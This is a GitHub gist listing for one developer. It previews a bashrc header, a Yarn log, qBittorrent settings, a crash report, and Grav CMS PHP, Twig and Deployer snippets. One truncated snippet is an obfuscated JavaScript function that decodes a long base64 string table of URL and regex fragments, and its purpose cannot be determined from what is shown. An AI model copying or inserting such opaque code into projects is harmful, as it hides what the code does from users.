Skip to content

Instantly share code, notes, and snippets.

View Sogl's full-sized avatar

Artyom Mezin Sogl

View GitHub Profile
@Sogl
Sogl / bash.bashrc
Last active November 1, 2023 10:10
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
@Sogl
Sogl / pack.log
Created May 25, 2023 11:00
Yarn pack fail log
Packing lightGallery@https://github.com/sachinchoolur/lightGallery.git#commit=f691d0096a4ee00641e1a3be22d4101e715f3ff3 from sources
Using Yarn Classic for bootstrap. Reason: "__metadata" key not found in yarn.lock, must be a Yarn classic lockfile
➤ YN0000: Retrieving https://classic.yarnpkg.com/latest.js
➤ YN0000: Saving the new release in .yarn/releases/yarn-1.22.19.cjs
➤ YN0000: Done in 2s 324ms
yarn install v1.22.19
warning package.json: License should be a valid SPDX license expression
warning package-lock.json found. Your project contains lock files generated by tools other than Yarn. It is advised not to mix package managers in order to avoid resolution inconsistencies caused by unsynchronized lock files. To clear this warning, remove package-lock.json.
[AddNewTorrentDialog]
DialogSize=@Size(1234 824)
DownloadPathHistory=
Enabled=true
RememberLastSavePath=false
SavePathHistory=/Volumes/DATA/torrent, /Users/artyom/Downloads/torrent
TopLevel=true
[Application]
FileLogger\Age=1
@Sogl
Sogl / 1
Created April 30, 2023 15:12
qBittorrent crash report
This file has been truncated, but you can view the full file.
Date/Time: 2023-04-30 18:07:38.923 +0300
End time: 2023-04-30 18:10:54.735 +0300
OS Version: macOS 12.6.1 (Build 21G217)
Architecture: x86_64h
Report Version: 35.1
Incident Identifier: 38F0A0D1-DDD1-4053-BFFB-49822A4DB98D
Data Source: Stackshots
Shared Cache: 57DE9B7B-39B3-3557-8AED-37AC450FA1F3 slid base address 0x7ff81f5a6000, slide 0x1f5a6000
Shared Cache: 9936C544-3DE9-3061-BF4F-8B5A303FF2A8 slid base address 0x7ff802f88000, slide 0x2f88000
@Sogl
Sogl / CrawlFlexpageSearch.php
Last active June 26, 2023 18:30
Algolia Pro Flex for Grav CMS
<?php declare(strict_types=1);
namespace Grav\Plugin\AlgoliaPro;
use Grav\Common\Grav;
use Grav\Common\Page\Interfaces\PageInterface;
use Grav\Common\Page\Pages;
use Grav\Common\Utils;
class CrawlFlexpageSearch extends CrawlPageSearch
<?php
private function processForm(Form $form, Event $event): bool
{
/** @var \Grav\Plugin\Form\Form $form */
$form->validate();
/** @var Flex $flex */
$flex = $this->grav['flex'];
try {
(function(pn, wn, gn, n) {
var bn = window.atob("YXZpfAJdKygCX19pbmNmAmh0Al5odAJlKS98AihefAJzZQJzKgJvcmcCJmRvYz0Cel9cAiokAnBzPwJ4fGRvAjAtAmRpcgJnfAIsM30CKSQCanBlAm1wMwJbMC05Ai1cAiZsYz0CYWZsAi1dAmFpbj0Cc3RhY2sCAmd8bQJpYzECaWZ8AmR1Y2UCbQJfX2UCdD0CbnQCZGZ8eAJdezECOwJfX2NkAnRpbWUCdHQCKGpwAkMCMjAwAihlZHUCXlteAmcCM31cAndpdGgCJnICam9pbgJ1bgJzAlwkJgJfX2VhAjtdKwJ7fXwCcmQCcGVnfAI/KiteAkpTT04CYnV0AmFzc2lnbgIqKSQCYm0CYWMCXHMqKAJzcG9uc2UCOgJzPQJTdGF0ZQJsZW5ndGgCcG5nfAJwcnMxAmVkdQIxLAJjb20CbgJcAl5odHQCLy8CZgIuAmN4AnNzfAJUZXh0AnB8ZAJ9XAIkWwJjaGFuZ2UCY2xpY2sCcGFyAmRlZmluZQI9AmxvYwJzdHICcHJzMgJ8Z28CYQJuYW1lAmF3YXkCZ292AnACKCkCU3QCaW5mbwJ3aGljaAJlAiZvcmQ9AnRvAnJ1bgJbXgJ0ZXN0AmxzfHgCawJ0YXICKykCbWUCaQJ8agJoAkVsZQJuYwIjAikCT2ICb3V0Am9wZW4CcmluZwJQcm9taXNlAmJ0bwJkb20CXltePwJuZXQCbWVzcwJBAj8oAmh0dHACXStcAnM/AmQCaWMyAiZmYz0xAmFnZQJ4cGkCc3JjAmplY3QCX3ByAk1lc3MCP10rXAJhbAI5XStcAlsCbHMCb24CdHACXF0CbXACaW5nAi05XXsCLwJccyo9AmdldAIrAnYCZGVudGlhbAImAihbYS0CZ3xnAl9pAm9jfHACY2hybwJnbwIKAiopAmFkeQJed3d3Am9jZQJ1bmsCMSwzAkFSR
@Sogl
Sogl / Flextagslist.php
Last active October 8, 2022 13:39
Grav CMS Flex plugin
<?php
namespace Grav\Plugin\SoglFlex;
use Grav\Common\Cache;
use Grav\Common\Grav;
use Grav\Common\Page\Interfaces\PageInterface;
class Flextagslist
{
@Sogl
Sogl / collection_default.html.twig
Last active September 4, 2022 20:03
Contacts Flex example (Grav CMS)
{# flex/contacts/collection/default.html.twig #}
{{ dump(page.url) }}
{%- set object_context = object ?? {} -%}
{%- set object_layout = object_context.layout ?? ('list-' ~ layout) -%}
<div id="flex-objects">
<div class="text-center">
<input class="form-input search" type="text" placeholder="Поиск по имени, е-мейл итд" />
<button class="button button-primary sort asc" data-sort="name">
@Sogl
Sogl / deployer-grav-cms.php
Last active November 2, 2022 16:26
v.7 Deployer PHP Grav CMS recipe
<?php
namespace Deployer;
require 'recipe/common.php';
// Config
//add('recipes', ['grav']);